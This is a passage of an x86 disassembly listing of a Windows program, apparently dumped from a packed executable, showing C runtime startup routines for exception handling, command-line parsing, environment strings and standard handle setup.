loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_427188	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234F7	proc near		; CODE XREF: sub_41E1D3+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: sub_4234F7+23j
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBEAC
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4DBEAC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4D0
		mov	edx, dword_43D4D4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D460h[esi*4]


loc_42356E:				; CODE XREF: sub_4234F7+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: sub_4234F7+69j
		mov	eax, [eax]
		mov	esi, dword_43D4DC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4DC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: sub_4234F7+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4DC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: sub_4234F7+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4DC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: sub_4234F7+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4DC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: sub_4234F7+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4DC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: sub_4234F7+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4DC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: sub_4234F7+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4DC, 8Ah


loc_423602:				; CODE XREF: sub_4234F7+99j
					; sub_4234F7+ACj ...
		push	dword_43D4DC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4DC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: sub_4234F7+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: sub_4234F7+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4DBEAC, eax


loc_423627:				; CODE XREF: sub_4234F7+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: sub_4234F7+Fj
					; sub_4234F7+1Aj
		push	[ebp+arg_4]
		call	dword_427040	; UnhandledExceptionFilter


loc_423635:				; CODE XREF: sub_4234F7+2Cj
					; sub_4234F7+133j
		pop	ebx
		pop	ebp
		retn
sub_4234F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: sub_4234F7+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4D8
		cmp	dword_43D458, edx
		push	esi
		mov	eax, offset dword_43D458
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D458h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D458h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp


; =============== S U B	R O U T	I N E =======================================



sub_42367B	proc near		; CODE XREF: sub_41E1D3+A5p
		cmp	dword_4DD3B4, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: sub_42367B+7j
		push	esi
		mov	esi, dword_4DD3AC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: sub_42367B+33j
					; sub_42367B+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: sub_42367B+21j
					; sub_42367B+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: sub_42367B+52j
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: sub_42367B+19j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: sub_42367B+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: sub_42367B+3Bj
					; sub_42367B+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: sub_42367B+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_42367B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236D3	proc near		; CODE XREF: sub_41E1D3+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3B4, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: sub_4236D3+Bj
		mov	esi, dword_4DBE44
		xor	edi, edi


loc_4236ED:				; CODE XREF: sub_4236D3+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: sub_4236D3+22j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: sub_4236D3+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE14, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: sub_4236D3+4Aj
		mov	edi, dword_4DBE44
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: sub_4236D3+94j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: sub_4236D3+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: sub_4236D3+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: sub_4236D3+5Cj
		push	dword_4DBE44
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE44, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD3B0, 1
		pop	ebx
		retn
sub_4236D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42378C	proc near		; CODE XREF: sub_41E1D3+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3B4, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: sub_42378C+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_427078	; GetModuleFileNameA
		mov	eax, dword_4DD3AC
		mov	off_4DBE24, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: sub_42378C+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: sub_42378C+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBE0C, esi
		pop	edi
		pop	esi
		mov	dword_4DBE08, eax
		pop	ebx
		leave
		retn
sub_42378C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: sub_42378C+47p
					; sub_42378C+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD281[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD281[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD281[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD281[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239D9	proc near		; CODE XREF: sub_41E1D3+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4DBFB4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFB4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: sub_4239D9+21j
		call	dword_427034	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFB4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: sub_4239D9+19j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: sub_4239D9+2Dj
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: sub_4239D9+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: sub_4239D9+73j
					; sub_4239D9+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: sub_4239D9+6Cj
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_423AA2
		push	[esp+18h+var_8]
		call	sub_41BA91
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_423AA2:				; CODE XREF: sub_4239D9+B9j
		mov	ebx, [esp+18h+var_8]


loc_423AA6:				; CODE XREF: sub_4239D9+99j
					; sub_4239D9+A8j
		push	esi
		call	dword_427038	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: sub_4239D9+51j
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: sub_4239D9+49j
		cmp	edi, ebx
		jnz	short loc_423AC6
		call	dword_427034	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: sub_4239D9+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: sub_4239D9+F6j
					; sub_4239D9+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: sub_4239D9+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: sub_4239D9+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: sub_4239D9+111j
		push	edi
		call	dword_42703C	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: sub_4239D9+39j
					; sub_4239D9+61j ...
		xor	eax, eax


loc_423B04:				; CODE XREF: sub_4239D9+D6j
					; sub_4239D9+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4239D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_423B0B	proc near		; CODE XREF: sub_41E1D3+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: sub_423B0B+16j
		mov	dword_4DD060, esi
		mov	dword_4DD160, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: sub_423B0B+52j
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD060
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: sub_423B0B+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_4271A8	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_423C3B
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: sub_423B0B+86j
		cmp	dword_4DD160, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD064


loc_423BA2:				; CODE XREF: sub_423B0B+DAj
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD160, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: sub_423B0B+CFj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: sub_423B0B+B7j
		add	edi, 4
		cmp	dword_4DD160, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: sub_423B0B+A4j
		mov	esi, dword_4DD160


loc_423BEF:				; CODE XREF: sub_423B0B+90j
					; sub_423B0B+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: sub_423B0B+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		call	dword_427024	; GetFileType
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: sub_423B0B+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: sub_423B0B+EFj
					; sub_423B0B+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: sub_423B0B+65j
					; sub_423B0B+71j ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: sub_423B0B+195j
		mov	eax, dword_4DD060
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: sub_423B0B+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: sub_423B0B+14Bj
		push	eax
		call	dword_427028	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		call	dword_427024	; GetFileType
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: sub_423B0B+163j
					; sub_423B0B+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: sub_423B0B+17Aj
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: sub_423B0B+13Ej
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: sub_423B0B+180j
					; sub_423B0B+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD160
		call	dword_42702C	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_423B0B	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_41E1D3+Ao
					; sub_4228FD+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
